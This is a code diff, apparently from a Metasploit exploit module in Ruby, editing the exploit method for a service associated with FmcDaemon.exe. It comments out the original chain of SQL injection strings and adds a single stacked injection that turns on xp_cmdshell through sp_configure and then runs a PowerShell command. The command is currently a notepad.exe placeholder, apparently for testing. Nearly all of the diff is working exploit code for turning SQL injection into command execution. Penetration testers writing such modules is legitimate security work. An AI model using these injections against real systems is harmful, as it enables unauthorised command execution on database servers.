@@ -168,6 +168,11 @@ def check
168
168
CheckCode ::Unknown ( "#{ peer } - FmcDaemon.exe does not appear to be running on the endpoint targeted" )
169
169
end
170
170
171
+ def fully_url_encode ( string )
172
+ string . chars . map { |char | '%' + char . ord . to_s ( 16 ) . upcase } . join
173
+ end
174
+
175
+
171
176
def exploit
172
177
# Things to note:
173
178
# 1. xp_cmdshell is disabled by default so first we must enable it.
@@ -176,13 +181,26 @@ def exploit
176
181
# before running the command with xp_command shell.
177
182
# 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which
178
183
# is when we expect the response to be empty.
184
+ # inject = [
185
+ # "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
186
+ # "' OR 1=1; reconfigure;--",
187
+ # "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
188
+ # "' OR 1=1; reconfigure;--",
189
+ # "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",
190
+ # ]
191
+ command = "notepad.exe"
192
+ print_status ( "Encoding command #{ command } " )
193
+ print_status ( "URL Encoded version of the command: #{ fully_url_encode ( command ) } " )
194
+ payload = <<~PLOAD
195
+ powershell.exe -command ""notepad.exe""
196
+ PLOAD
197
+
198
+ payload = payload . chomp
199
+ print_status ( "Payload is: #{ payload } " )
179
200
inject = [
180
- "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--" ,
181
- "' OR 1=1; reconfigure;--" ,
182
- "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--" ,
183
- "' OR 1=1; reconfigure;--" ,
184
- "' OR 1=1; DECLARE @SQL VARCHAR(#{ payload . encoded . length } ) = CONVERT(VARCHAR(MAX), 0X#{ payload . encoded . unpack ( 'H*' ) . first } ); exec master.dbo.xp_cmdshell @sql;--" ,
201
+ "'; exec master.dbo.sp_configure 'show advanced options', 1; reconfigure; exec master.dbo.sp_configure 'xp_cmdshell',1; reconfigure; exec master.dbo.xp_cmdshell '#{ payload } ';--" ,
185
202
]
203
+
186
204
inject . each do |sqli |
187
205
if sqli == inject . last
188
206
send_message ( sqli ) . empty? ? print_good ( "The SQLi: #{ sqli } was executed successfully" ) : fail_with ( Failure ::UnexpectedReply , 'The SQLi injection response indicated the injection was unsuccessful.' )
0 commit comments